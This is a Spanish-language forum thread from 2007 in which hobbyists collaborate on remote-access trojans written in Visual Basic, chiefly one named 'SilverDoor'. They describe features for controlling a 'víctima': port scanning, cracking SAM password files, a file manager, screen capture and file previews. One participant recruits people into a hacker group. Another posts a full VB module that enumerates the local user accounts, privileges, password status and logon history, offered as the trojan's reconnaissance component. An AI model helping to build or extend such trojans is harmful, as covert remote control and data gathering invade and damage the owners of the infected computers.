Tema destacado: Deseas probar algunas mejoras a la interfaz del foro? Prueba cake! acerca de
 Autor
|
Tema: Proyecto Troyano SilverDoor (Leído 10,402 veces)
|
djtoxic
 Desconectado
Mensajes: 56
SilverDoor, la puerta al destino.
|
Bueno, despuès de mucho tiempo leyendo de La Biblia de Xenon  , manuales de WarGhost y cuanta cosa mas... Estoy desarrollando mi troyano. Su nombre es SilverDoor. He tratado de hacerlo con la mayor cantidad de funciones posibles para control de la vìctima. Si ven que le falta funciones, xfavor díganmelo y harè lo posible por agregarlo. Aquì algunas screenshots: Me falta mucho desarrollo incluso en el cliente pero lo subirè tal como lo termine. Bye!!!  |
|
|
|
« Última modificación: 2 Julio 2007, 21:40 por djtoxic »
|
En línea
|
|
|
|
Helicot
Desconectado
Mensajes: 384
¿Q puedo colocar aki?
|
parece bueno el troyano una pregunta, que es la Biblia de Xenon  ??? |
|
|
|
|
En línea
|
|
|
|
|
el-viejo
|
se ve buen troyano espero que lo termines algun dia
|
|
|
|
|
En línea
|
|
|
|
WannaBeHacker
Desconectado
Mensajes: 273
|
OO, parece chulo  Programado en ???? En Delphi??? |
|
|
|
|
En línea
|
|
|
|
djtoxic
Desconectado
Mensajes: 56
SilverDoor, la puerta al destino.
|
parece bueno el troyano
una pregunta, que es la Biblia de Xenon huh ??? A lo que le digo la Biblia de Xenon es un tuto que hay en el foro que ya no es tuto ni manual, se puede considerarlo una Biblia!!! se ve buen troyano espero que lo termines algun dia Gracias, prometo hacerlo!!! OO, parece chulo grin grin
Programado en ????
En Delphi??? Thnx, lo estoy programando en Visual Basic Bueno, hablando de las funciones, estaba chateando con un amigo y me propuso la idea de escanear puertos en la vìctima, asìa que voya a ver algo de eso para SilverDoor
|
|
|
|
« Última modificación: 8 Junio 2007, 20:20 por djtoxic »
|
En línea
|
|
|
|
Ignor
Desconectado
Mensajes: 248
|
buff esta muy vien
para cuando crees que estara?
|
|
|
|
|
En línea
|
Gracias, Eldor.
|
|
|
Timerlux
Desconectado
Mensajes: 89
EmmHHHHHH !!!
|
Yo tambien estoy con uno en VB, Como sacas la informacion del Pc, a mi me esta dando mas trabajo de lo que pensaba, que si hay cosas que saco via api, que si otras hay que sacarlas del registro, que si patatin patatan, que si funcionara en todos los windows.
Luego hay una movida que es el WMI, pero no se si valdra para los windows mas antiguos.
|
|
|
|
|
En línea
|
|
|
|
djtoxic
Desconectado
Mensajes: 56
SilverDoor, la puerta al destino.
|
Me he bajado muchos ejemplos de la página ControlTotal que tienen. Desgraciadamente la página está vendida  Pero en la Biblia de Xenon hay una parte en la pàgina 37 ò 38 en la que EON publicó un bellísimo code de info del PC Por cierto, sacar el pass de inicio de sesión creo que es imposible. Xq hay q crackear unos archivos "Sam's" que me dijeron que es donde estan las pass. Xcierto, que es el WMI??? buff esta muy vien
para cuando crees que estara?
Creo que dentro de una o dos semanas estará listo, pero no estoy seguro. PD: TimerLux, me mandas tu dir de Hotmail (MSN) por MP y te agrego??? |
|
|
|
|
En línea
|
|
|
|
Timerlux
Desconectado
Mensajes: 89
EmmHHHHHH !!!
|
No suelo usar el messenger , pero bueno seguire tu troyano pro el foro ,ya te consultare o ayudare si surge, tampoco son muy necesarias las passwords de inicio si tienes un troyano en su pc.
WMI Windows Management Instrumentation, es una clase o no se que royo que te da cualquier informacion del PC de forma facil , sin tener que llamar a 50.000 APIS pero creo que viene a partir del win2000, y no se si sera lo mejor, ademas me da un monton de rabia por que esta parte casi la tengo terminada pero no me termina de convencer.
Mirare esas paginas 37 y 38, yo tengo una parte que enumera todos los usuarios del pc, sus privilegios , si tienen puesta contraseña, el comentario de la cuenta, las veces que se han logeado, la fecha del ultimo logon y ultimo logoff,
si la quieres te la paso.
|
|
|
|
|
En línea
|
|
|
|
djtoxic
Desconectado
Mensajes: 56
SilverDoor, la puerta al destino.
|
Te agradecía que me pasaras esos kodes TimerLux, revisa tus MP's. Quisiera comunicarles a todos que para que quede con la titlebar y todo estilo VIsta, no precisan tener theme ni nada, viene incorporado. Además, estoy formando un grupo de hackers (newbies, mediums, etc.,...), llamado G.A.E.H. (grupo de aburridos y estresados hackers ). Es para hacer HackTools y participar en concursos, etc.,... Quién quiera entrar pues bienvenido, aparecerán en los créditos y todo. Para hacerlo me mandan un MP. Hablando de eso, quien quiera ayudar en el proyecto, se une a la G.A.E.H. y les paso el kode de SilverDoor. BUeno, la propuesta está hecha, bye!!! |
|
|
|
|
En línea
|
|
|
|
Timerlux
Desconectado
Mensajes: 89
EmmHHHHHH !!!
|
Espero que te guste el codigo ,creo que esta correcto ya que lo he sacado por cahos de un gran modulo,con mis respetos lo que pasa es que veo es que tu troyano es del tipo de meter mucha chorradilla , abrir CD cerrar , Chat y cosas de esas ,el mio quiero que tenga tres cosas pero muy buenas , manejador de archivos, screen capture y PC info, por ejemplo el screen capture no es por JPG temporales ,es por un byte array con la informacion de la imagen y comprimido con Zlib, mas rapido y con muchas opciones, quiero centrarme solo en esas 3 cosas pero ya te digo que sean de calidad. Si te ha guatado el codigo dimelo: En un Modulo: Private Type USER_INFO_2
usri2_name As Long
usri2_password As Long ' Null, only settable
usri2_password_age As Long
usri2_priv As Long
usri2_home_dir As Long
usri2_comment As Long
usri2_flags As Long
usri2_script_path As Long
usri2_auth_flags As Long
usri2_full_name As Long
usri2_usr_comment As Long
usri2_parms As Long
usri2_workstations As Long
usri2_last_logon As Long
usri2_last_logoff As Long
usri2_acct_expires As Long
usri2_max_storage As Long
usri2_units_per_week As Long
usri2_logon_hours As Long
usri2_bad_pw_count As Long
usri2_num_logons As Long
usri2_logon_server As Long
usri2_country_code As Long
usri2_code_page As Long
End Type
Private Type SYSTEMTIME
wYear As Integer
wMonth As Integer
wDayOfWeek As Integer
wDay As Integer
wHour As Integer
wMinute As Integer
wSecond As Integer
wMilliseconds As Integer
End Type
Private Type TIME_ZONE_INFORMATION
Bias As Long
StandardName(0 To 63) As Byte
StandardDate As SYSTEMTIME
StandardBias As Long
DaylightName(0 To 63) As Byte
DaylightDate As SYSTEMTIME
DaylightBias As Long
End Type
Private Const FILTER_NORMAL_ACCOUNT = &H2&
Private Const MAX_PREFERRED_LENGTH = -1&
Private Const NERR_SUCCESS = 0
Private Const ERROR_MORE_DATA = 234&
Private Const USER_PRIV_GUEST = 0&
Private Const USER_PRIV_USER = 1&
Private Const USER_PRIV_ADMIN = 2&
Private Const TIME_ZONE_ID_INVALID = &HFFFFFFFF
Private Const UF_PASSWD_NOTREQD = &H20
Private Declare Function NetUserEnum Lib "netapi32.DLL" (ByVal servername As Long, ByVal level As Long, ByVal filter As Long, bufptr As Long, ByVal prefmaxlen As Long, entriesread As Long, totalentries As Long, resume_handle As Long) As Long
Private Declare Function NetAPIBufferFree Lib "netapi32.DLL" Alias "NetApiBufferFree" (ByVal buffer As Long) As Long
Private Declare Function lstrlenW Lib "kernel32" (lpString As Any) As Long
Private Declare Function WideCharToMultiByte Lib "kernel32" (ByVal codepage As Long, ByVal dwFlags As Long, lpWideCharStr As Any, ByVal cchWideChar As Long, lpMultiByteStr As Any, ByVal cchMultiByte As Long, ByVal lpDefaultChar As String, ByVal lpUsedDefaultChar As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare Function GetTZI Lib "kernel32" Alias "GetTimeZoneInformation" (lpTimeZoneInformation As TIME_ZONE_INFORMATION) As Long
'----
Public Function XListaUsuarios() As String
Dim pBuf As Long, dwLevel As Long, dwEntriesRead As Long, dwTotalEntries As Long
Dim dwResumeHandle As Long, dwTotalCount As Long, nStatus As Long, i As Long
Dim pTmpBuf As USER_INFO_2, CUsuarios As String
Do
nStatus = NetUserEnum(0, 2, FILTER_NORMAL_ACCOUNT, pBuf, MAX_PREFERRED_LENGTH, _
dwEntriesRead, dwTotalEntries, dwResumeHandle)
If ((nStatus = NERR_SUCCESS) Or (nStatus = ERROR_MORE_DATA)) Then
For i = 0 To dwEntriesRead - 1
Call CopyMemory(pTmpBuf, ByVal (pBuf + (i * 96)), Len(pTmpBuf))
With pTmpBuf
CUsuarios = CUsuarios & "NOMBRE:" & vbTab & GetStrFromPtrW(.usri2_name) & vbCrLf
If .usri2_flags And UF_PASSWD_NOTREQD Then
CUsuarios = CUsuarios & "PASSWORD:" & vbTab & "No" & vbCrLf
Else
CUsuarios = CUsuarios & "PASSWORD:" & vbTab & "Si" & vbCrLf
End If
If .usri2_priv = USER_PRIV_GUEST Then
CUsuarios = CUsuarios & "PRIVILEGIOS:" & vbTab & "Invitado" & vbCrLf
ElseIf .usri2_priv = USER_PRIV_USER Then
CUsuarios = CUsuarios & "PRIVILEGIOS:" & vbTab & "Usuario" & vbCrLf
ElseIf .usri2_priv = USER_PRIV_ADMIN Then
CUsuarios = CUsuarios & "PRIVILEGIOS:" & vbTab & "Administrador" & vbCrLf
End If
CUsuarios = CUsuarios & "COMENTARIO: " & vbTab & GetStrFromPtrW(.usri2_comment) & vbCrLf
CUsuarios = CUsuarios & "ULTIMO LOGON: " & vbTab & fGetTime(.usri2_last_logon) & vbCrLf
CUsuarios = CUsuarios & "ULTIMO LOGOFF: " & vbTab & fGetTime(.usri2_last_logoff) & vbCrLf
CUsuarios = CUsuarios & "Nº LOGONS: " & vbTab & (.usri2_num_logons) & vbCrLf
End With
dwTotalCount = dwTotalCount + 1
CUsuarios = CUsuarios & "----------------------------------------------------" & vbCrLf
Next
End If
Call NetAPIBufferFree(pBuf)
pBuf = 0
Loop While (nStatus = ERROR_MORE_DATA)
If Not (pBuf = 0) Then Call NetAPIBufferFree(pBuf)
XListaUsuarios = CUsuarios
End Function
En un Form con una textbox:
Private Sub Form_Load()
Text1.Text = XListaUsuarios
End Sub
|
|
|
|
|
En línea
|
|
|
|
|
|
|
el-viejo
|
hey el troyano que es lo que tiene, un skin, user control.ocx, o que, bye
|
|
|
|
|
En línea
|
|
|
|
|
|
Timerlux
Desconectado
Mensajes: 89
EmmHHHHHH !!!
|
Eon he probado tu ejemplo de manejador de archivos y como todavía no estoy con esa parte ni he empezado, creo que es buena base para cuando me ponga, tengo un funcion para extraer el icono, bien en 16x16 0 32x32, por si le pones al listview la opcion vista de iconos, si sigues con eso y quieres el codigo te lo paso, de esta manera se visualizan los archivos con el icono de la victima, y si tienes problemas sobre como enviar la informacion del icono yo si , un icono de 16x16 ocupa poco y se envia rapido, ademas de esto yo le quiero poner una funcion de previsualizacion, si haces click en un archivo y es una foto se previsualiza en tamaño reducido, si es otro tipo de archivo se ve en forma binaria en una textbox, y se te interesa te lo descargas, eso si solo para archivos pequeños , si no supongo que no merece la pena previsualizar nada, por que seria eterno casi mereceria la pena descargarlo directamente.
|
|
|
|
|
En línea
|
|
|
|
|
 |
